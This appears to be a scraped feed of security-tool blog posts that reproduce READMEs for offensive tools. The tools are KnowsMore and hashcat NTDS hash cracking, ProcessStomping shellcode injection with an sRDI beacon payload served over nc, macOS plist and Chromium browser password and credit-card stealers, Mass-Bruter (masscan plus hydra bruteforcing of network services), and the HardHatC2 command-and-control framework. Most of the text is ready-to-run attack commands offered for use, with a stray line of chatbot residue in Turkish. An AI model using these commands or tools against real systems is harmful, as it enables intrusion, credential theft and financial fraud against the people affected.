    Note: The KnowsMore implementation of bloodhount-importer was inpired from Fox-It BloodHound Import implementation. We implemented several changes to save all data in KnowsMore SQLite database and after that do an incremental sync to Neo4J database. With this strategy we have several benefits such as at least 10x faster them original BloodHound User interface.

    Importing NTDS file

    Option 1

    Note: Import hashes and clear-text passwords directly from NTDS.dit and SYSTEM registry

    knowsmore --secrets-dump -target LOCAL -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM

    Option 2

    Note: First use the secretsdump to extract ntds hashes with the command bellow

    secretsdump.py -ntds ntds.dit -system system.reg -hashes lmhash:ntlmhash LOCAL -outputfile ~/Desktop/client_name

    After that import

    knowsmore --ntlm-hash --import-ntds ~/Desktop/client_name.ntds

    Generating a custom wordlist

    knowsmore --word-list -o "~/Desktop/Wordlist/my_custom_wordlist.txt" --batch --name company_name

    Importing cracked hashes

    Cracking hashes

    First extract all hashes to a txt file

    # Extract NTLM hashes to file
    nowsmore --ntlm-hash --export-hashes "~/Desktop/ntlm_hash.txt"

    # Or, extract NTLM hashes from NTDS file
    cat ~/Desktop/client_name.ntds | cut -d ':' -f4 > ntlm_hashes.txt

    In order to crack the hashes, I usually use hashcat with the command bellow

    # Wordlist attack
    hashcat -m 1000 -a 0 -O -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" "~/Desktop/Wordlist/*"

    # Mask attack
    hashcat -m 1000 -a 3 -O --increment --increment-min 4 -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" ?a?a?a?a?a?a?a?a

    importing hashcat output file

    knowsmore --ntlm-hash --company clientCompanyName --import-cracked ~/Desktop/cracked.txt

    Note: Change clientCompanyName to name of your company

    Wipe sensitive data

    As the passwords and his hashes are extremely sensitive data, there is a module to replace the clear text passwords and respective hashes.

    Note: This command will keep all generated statistics and imported user data.

    knowsmore --wipe

    BloodHound Mark as owned

    One User

    During the assessment you can find (in a several ways) users password, so you can add this to the Knowsmore database

    knowsmore --user-pass --username administrator --password Sec4US@2023

    # or adding the company name

    knowsmore --user-pass --username administrator --password Sec4US@2023 --company sec4us

    Integrate all credentials cracked to Neo4j Bloodhound database

    knowsmore --bloodhound --mark-owned 10.10.10.10 -d neo4j -u neo4j -p 123456

    To remote connection make sure that Neo4j database server is accepting remote connection. Change the line bellow at the config file /etc/neo4j/neo4j.conf and restart the service.

    server.bolt.listen_address=0.0.0.0:7687


    ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section

    By: Zion3R


    A variation of ProcessOverwriting to execute shellcode on an executable's section

    What is it

    For a more detailed explanation you can read my blog post

    Process Stomping, is a variation of hasherezadeโ€™s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

    These are the main steps of the ProcessStomping technique:

    1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
    2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
    3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
    4. ResumeThread - self-explanatory.

    As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.


    Disclaimer

    All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

    Credits

    This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

    Usage

    Select your target process and modify global variables accordingly in ProcessStomping.cpp.

    Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

    cd \sRDI-master

    python .\lib\Python\EncodeBlobs.py .\

    Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

    python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

    The shellcode blob can then be xored with a key-word and downloaded using a simple socket

    python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

    Deliver the xored blob upon connection

    nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

    The sRDI blob will get erased after execution to remove unneeded artifacts.

    Caveats

    To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

    Detection opportunities

    Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.



    Osx-Password-Dumper - A Tool To Dump Users'S .Plist On A Mac OS System And To Convert Them Into A Crackable Hash

    By: Zion3R


    ๏Ž ๏”“ OSX Password Dumper Script

    Overview

    A bash script to retrieve user's .plist files on a macOS system and to convert the data inside it to a crackable hash format. (to use with John The Ripper or Hashcat)

    Useful for CTFs/Pentesting/Red Teaming on macOS systems.


    Prerequisites

    • The script must be run as a root user (sudo)
    • macOS environment (tested on a macOS VM Ventura beta 13.0 (22A5266r))

    Usage

    sudo ./osx_password_cracker.sh OUTPUT_FILE /path/to/save/.plist


    PassBreaker - Command-line Password Cracking Tool Developed In Python

    By: Zion3R


    PassBreaker is a command-line password cracking tool developed in Python. It allows you to perform various password cracking techniques such as wordlist-based attacks and brute force attacks.ย 

    Features

    • Wordlist-based password cracking
    • Brute force password cracking
    • Support for multiple hash algorithms
    • Optional salt value
    • Parallel processing option for faster cracking
    • Password complexity evaluation
    • Customizable minimum and maximum password length
    • Customizable character set for brute force attacks

    Installation

    1. Clone the repository:

      git clone https://github.com/HalilDeniz/PassBreaker.git
    2. Install the required dependencies:

      pip install -r requirements.txt

    Usage

    python passbreaker.py <password_hash> <wordlist_file> [--algorithm]

    Replace <password_hash> with the target password hash and <wordlist_file> with the path to the wordlist file containing potential passwords.

    Options

    • --algorithm <algorithm>: Specify the hash algorithm to use (e.g., md5, sha256, sha512).
    • -s, --salt <salt>: Specify a salt value to use.
    • -p, --parallel: Enable parallel processing for faster cracking.
    • -c, --complexity: Evaluate password complexity before cracking.
    • -b, --brute-force: Perform a brute force attack.
    • --min-length <min_length>: Set the minimum password length for brute force attacks.
    • --max-length <max_length>: Set the maximum password length for brute force attacks.
    • --character-set <character_set>: Set the character set to use for brute force attacks.

    Elbette! ฤฐลŸte ฤฐngilizce olarak yazฤฑlmฤฑลŸ baลŸlฤฑk ve kรผรงรผk bir bilgi ile daha fazla kullanฤฑm รถrneฤŸi:

    Usage Examples

    Wordlist-based Password Cracking

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5

    This command attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the MD5 algorithm and a wordlist from the "passwords.txt" file.

    Brute Force Attack

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 --brute-force --min-length 6 --max-length 8 --character-set abc123

    This command performs a brute force attack to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" by trying all possible combinations of passwords with a length between 6 and 8 characters, using the character set "abc123".

    Password Complexity Evaluation

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha256 --complexity

    This command evaluates the complexity of passwords in the "passwords.txt" file and attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the SHA-256 algorithm. It only tries passwords that meet the complexity requirements.

    Using Salt Value

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5 --salt mysalt123

    This command uses a specific salt value ("mysalt123") for the password cracking process. Salt is used to enhance the security of passwords.

    Parallel Processing

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha512 --parallel

    This command performs password cracking with parallel processing for faster cracking. It utilizes multiple processing cores, but it may consume more system resources.

    These examples demonstrate different features and use cases of the "PassBreaker" password cracking tool. Users can customize the parameters based on their needs and goals.

    Disclaimer

    This tool is intended for educational and ethical purposes only. Misuse of this tool for any malicious activities is strictly prohibited. The developers assume no liability and are not responsible for any misuse or damage caused by this tool.

    Contributing

    Contributions are welcome! To contribute to PassBreaker, follow these steps:

    1. Fork the repository.
    2. Create a new branch for your feature or bug fix.
    3. Make your changes and commit them.
    4. Push your changes to your forked repository.
    5. Open a pull request in the main repository.

    Contact

    If you have any questions, comments, or suggestions about PassBreaker, please feel free to contact me:

    License

    PassBreaker is released under the MIT License. See LICENSE for more information.



    Mass-Bruter - Mass Bruteforce Network Protocols

    By: Zion3R


    Mass bruteforce network protocols

    Info

    Simple personal script to quickly mass bruteforce common services in a large scale of network.
    It will check for default credentials on ftp, ssh, mysql, mssql...etc.
    This was made for authorized red team penetration testing purpose only.


    How it works

    1. Use masscan(faster than nmap) to find alive hosts with common ports from network segment.
    2. Parse ips and ports from masscan result.
    3. Craft and run hydra commands to automatically bruteforce supported network services on devices.

    Requirements

    • Kali linux or any preferred linux distribution
    • Python 3.10+
    # Clone the repo
    git clone https://github.com/opabravo/mass-bruter
    cd mass-bruter

    # Install required tools for the script
    apt update && apt install seclists masscan hydra

    How To Use

    Private ip range : 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12

    Save masscan results under ./result/masscan/, with the format masscan_<name>.<ext>

    Ex: masscan_192.168.0.0-16.txt

    Example command:

    masscan -p 3306,1433,21,22,23,445,3389,5900,6379,27017,5432,5984,11211,9200,1521 172.16.0.0/12 | tee ./result/masscan/masscan_test.txt

    Example Resume Command:

    masscan --resume paused.conf | tee -a ./result/masscan/masscan_test.txt

    Command Options

    Bruteforce Script Options: -q, --quick Quick mode (Only brute telnet, ssh, ftp , mysql, mssql, postgres, oracle) -a, --all Brute all services(Very Slow) -s, --show Show result with successful login -f, --file-path PATH The directory or file that contains masscan result [default: ./result/masscan/] --help Show this message and exit." dir="auto">
    โ”Œโ”€โ”€(rootใ‰ฟroot)-[~/mass-bruter]
    โ””โ”€# python3 mass_bruteforce.py
    Usage: [OPTIONS]

    Mass Bruteforce Script

    Options:
    -q, --quick Quick mode (Only brute telnet, ssh, ftp , mysql,
    mssql, postgres, oracle)
    -a, --all Brute all services(Very Slow)
    -s, --show Show result with successful login
    -f, --file-path PATH The directory or file that contains masscan result
    [default: ./result/masscan/]
    --help Show this message and exit.

    Quick Bruteforce Example:

    python3 mass_bruteforce.py -q -f ~/masscan_script.txt

    Fetch cracked credentials:

    python3 mass_bruteforce.py -s

    Todo

    • Migrate with dpl4hydra
    • Optimize the code and functions
    • MultiProcessing

    Any contributions are welcomed!



    Nodesub - Command-Line Tool For Finding Subdomains In Bug Bounty Programs

    By: Zion3R


    Nodesub is a command-line tool for finding subdomains in bug bounty programs. It supports various subdomain enumeration techniques and provides flexible options for customization.


    Features

    • Perform subdomain enumeration using CIDR notation (Support input list).
    • Perform subdomain enumeration using ASN (Support input list).
    • Perform subdomain enumeration using a list of domains.

    Installation

    To install Nodesub, use the following command:

    npm install -g nodesub

    NOTE:

    • Edit File ~/.config/nodesub/config.ini

    Usage

    nodesub -h

    This will display help for the tool. Here are all the switches it supports.

    Examples
    • Enumerate subdomains for a single domain:

       nodesub -u example.com
    • Enumerate subdomains for a list of domains from a file:

       nodesub -l domains.txt
    • Perform subdomain enumeration using CIDR:

      node nodesub.js -c 192.168.0.0/24 -o subdomains.txt

      node nodesub.js -c CIDR.txt -o subdomains.txt

    • Perform subdomain enumeration using ASN:

      node nodesub.js -a AS12345 -o subdomains.txt
      node nodesub.js -a ASN.txt -o subdomains.txt
    • Enable recursive subdomain enumeration and output the results to a JSON file:

       nodesub -u example.com -r -o output.json -f json

    Output

    The tool provides various output formats for the results, including:

    • Text (txt)
    • JSON (json)
    • CSV (csv)
    • PDF (pdf)

    The output file contains the resolved subdomains, failed resolved subdomains, or all subdomains based on the options chosen.



    Browser-password-stealer - Get All The Saved Passwords, Credit Cards And Bookmarks From Chromium Based Browsers Supports Chromium 80 And Above!

    By: Zion3R


    This python program gets all the saved passwords, credit cards and bookmarks from chromium based browsers supports chromium 80 and above!


    Modules Required

    To install all the required modules use the following code:
    pip install -r requirements.txt

    Supported browsers

    Chromium Based Browsers

    โœ” Amigo
    โœ” Torch
    โœ” Kometa
    โœ” Orbitum
    โœ” Cent-browser
    โœ” 7star
    โœ” Sputnik
    โœ” Vivaldi
    โœ” Google-chrome-sxs
    โœ” Google-chrome
    โœ” Epic-privacy-browser
    โœ” Microsoft-edge
    โœ” Uran
    โœ” Yandex
    โœ” Brave
    โœ” Iridium

    Install Required Python Packages

    pip install -r requirements.txt

    How to Use

    Just run this chromium_based_browsers.py the code will create a folder based on the browser name and stores the saved passwords, credit cards and bookmarks in that folder.



    HardHatC2 - A C# Command And Control Framework

    By: Zion3R


    A cross-platform, collaborative, Command & Control framework written in C#, designed for red teaming and ease of use.

    HardHat is a multiplayer C# .NET-based command and control framework. Designed to aid in red team engagements and penetration testing. HardHat aims to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.
    It contains three primary components, an ASP.NET teamserver, a blazor .NET client, and C# based implants.


    Release Tracking

    Alpha Release - 3/29/23 NOTE: HardHat is in Alpha release; it will have bugs, missing features, and unexpected things will happen. Thank you for trying it, and please report back any issues or missing features so they can be addressed.

    Community

    Discord Join the community to talk about HardHat C2, Programming, Red teaming and general cyber security things The discord community is also a great way to request help, submit new features, stay up to date on the latest additions, and submit bugs.

    Features

    Teamserver & Client

    • Per-operator accounts with account tiers to allow customized access control and features, including view-only guest modes, team-lead opsec approval(WIP), and admin accounts for general operation management.
    • Managers (Listeners)
    • Dynamic Payload Generation (Exe, Dll, shellcode, PowerShell command)
    • Creation & editing of C2 profiles on the fly in the client
    • Customization of payload generation
      • sleep time/jitter
      • kill date
      • working hours
      • type (Exe, Dll, Shellcode, ps command)
      • Included commands(WIP)
      • option to run confuser
    • File upload & Downloads
    • Graph View
    • File Browser GUI
    • Event Log
    • JSON logging for events & tasks
    • Loot tracking (Creds, downloads)
    • IOC tracing
    • Pivot proxies (SOCKS 4a, Port forwards)
    • Cred store
    • Autocomplete command history
    • Detailed help command
    • Interactive bash terminal command if the client is on linux or powershell on windows, this allows automatic parsing and logging of terminal commands like proxychains
    • Persistent database storage of teamserver items (User accounts, Managers, Engineers, Events, tasks, creds, downloads, uploads, etc. )
    • Recon Entity Tracking (track info about users/devices, random metadata as needed)
    • Shared files for some commands (see teamserver page for details)
    • tab-based interact window for command issuing
    • table-based output option for some commands like ls, ps, etc.
    • Auto parsing of output from seatbelt to create "recon entities" and fill entries to reference back to later easily
    • Dark and Light
      ๏คฎ
      theme

    Engineers

    • C# .NET framework implant for windows devices, currently only CLR/.NET 4 support
    • atm only one implant, but looking to add others
    • It can be generated as EXE, DLL, shellcode, or PowerShell stager
    • Rc4 encryption of payload memory & heap when sleeping (Exe / DLL only)
    • AES encryption of all network communication
    • ConfuserEx integration for obfuscation
    • HTTP, HTTPS, TCP, SMB communication
      • TCP & SMB can work P2P in a bind or reverse setups
    • Unique per implant key generated at compile time
    • multiple callback URI's depending on the C2 profile
    • P/Invoke & D/Invoke integration for windows API calls
    • SOCKS 4a support
    • Reverse Port Forward & Port Forwards
    • All commands run as async cancellable jobs
      • Option to run commands sync if desired
    • Inline assembly execution & inline shellcode execution
    • DLL Injection
    • Execute assembly & Mimikatz integration
    • Mimikatz is not built into the implant but is pushed when specific commands are issued
    • Various localhost & network enumeration tools
    • Token manipulation commands
      • Steal Token Mask(WIP)
    • Lateral Movement Commands
    • Jump (psexec, wmi, wmi-ps, winrm, dcom)
    • Remote Execution (WIP)
    • AMSI & ETW Patching
    • Unmanaged Powershell
    • Script Store (can load multiple scripts at once if needed)
    • Spawn & Inject
      • Spawn-to is configurable
    • run, shell & execute

    Documentation

    documentation can be found at docs

    Getting Started

    Prerequisites

    • Installation of the .net 7 SDK from Microsoft
    • Once installed, the teamserver and client are started with dotnet run

    Teamserver

    To configure the team server's starting address (where clients will connect), edit the HardHatC2\TeamServer\Properties\LaunchSettings.json changing the "applicationUrl": "https://127.0.0.1:5000" to the desired location and port. start the teamserver with dotnet run from its top-level folder ../HrdHatC2/Teamserver/

    HardHat Client

    1. When starting the client to set the target teamserver location, include it in the command line dotnet run https://127.0.0.1:5000 for example
    2. open a web browser and navigate to https://localhost:7096/ if this works, you should see the login page
    3. Log in with the HardHat_Admin user (Password is printed on first TeamServer startup)
    4. Navigate to the settings page & create a new user if successful, a message should appear, then you may log in with that account to access the full client

    Contributions & Bug Reports

    Code contributions are welcome feel free to submit feature requests, pull requests or send me your ideas on discord.



    Graphcat - Generate Graphs And Charts Based On Password Cracking Result

    By: Zion3R


    Simple script to generate graphs and charts on hashcat (and john) potfile and ntds


    Install

    git clone https://github.com/Orange-Cyberdefense/graphcat
    cd graphcat
    pip install .

    Helper

    $ graphcat.py -h
    usage: graphcat.py [-h] -potfile hashcat.potfile -hashfile hashfile.txt [-john] [-format FORMAT] [-export-charts] [-output-dir OUTPUT_DIR] [-debug]

    Password Cracking Graph Reporting

    options:
    -h, --help show this help message and exit
    -potfile hashcat.potfile
    Hashcat Potfile
    -hashfile hashfile.txt
    File containing hashes (one per line)
    -john John potfile
    -format FORMAT hashfile format (default 3): 1 for hash; 2 for username:hash; 3 for secretsdump (username:uid:lm:ntlm)
    -export-charts Output also charts in png
    -output-dir OUTPUT_DIR
    Output directory
    -debug Turn DEB UG output ON

    Usage

    Graphcat just need a potfile with -potfile (default is hashcat, but you can use -john to submit a john potfile) and a hashfile with -hashfile. The hashfile should be in a specific format from the 3 availables formats with -format flag. Default is Secretsdump.

    The tool will generate a report with multiple password cracking charts. You can get charts in png with the -export-charts flag.

    $ graphcat.py -hashfile entreprise.local.ntds -potfile hashcat.pot
    [-] Parsing potfile
    [-] 164 entries in potfile
    [-] Parsing hashfile
    [-] 1600 entries in hashfile
    [-] Generating graphs...
    [-] Generating report...
    [-] Report available at graphcat_1672941324.pdf

    Formats

    1: Only Hash

    aad3b435b51404eeaad3b435b51404ee
    aad3b435b51404eeaad3b435b51404ee
    aad3b435b51404eeaad3b435b51404ee

    2: Username + Hash

    test1:aad3b435b51404eeaad3b435b51404ee
    test2:aad3b435b51404eeaad3b435b51404ee
    test3:aad3b435b51404eeaad3b435b51404ee

    3: Secretsdump

    waza.local\test1:4268:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
    waza.local\test2:4269:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
    waza.local\test3:4270:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::

    If a hash occurs more than once in the hash file, it will be counted that many times.

    Moreover, if you submit secretsdump with password history (-history in secretsdump command), it will analyze similarity in password history

    Charts example



    Enumdb Beta โ€“ Brute Force MySQL and MSSQL Databases

    Enumdb is brute force and post exploitation tool for MySQL and MSSQL databases. When provided a list of usernames and/or passwords, it will cycle through each looking for valid credentials. By...

    [[ This is a content summary only. Visit my website for full links, other content, and more! ]]
    โŒ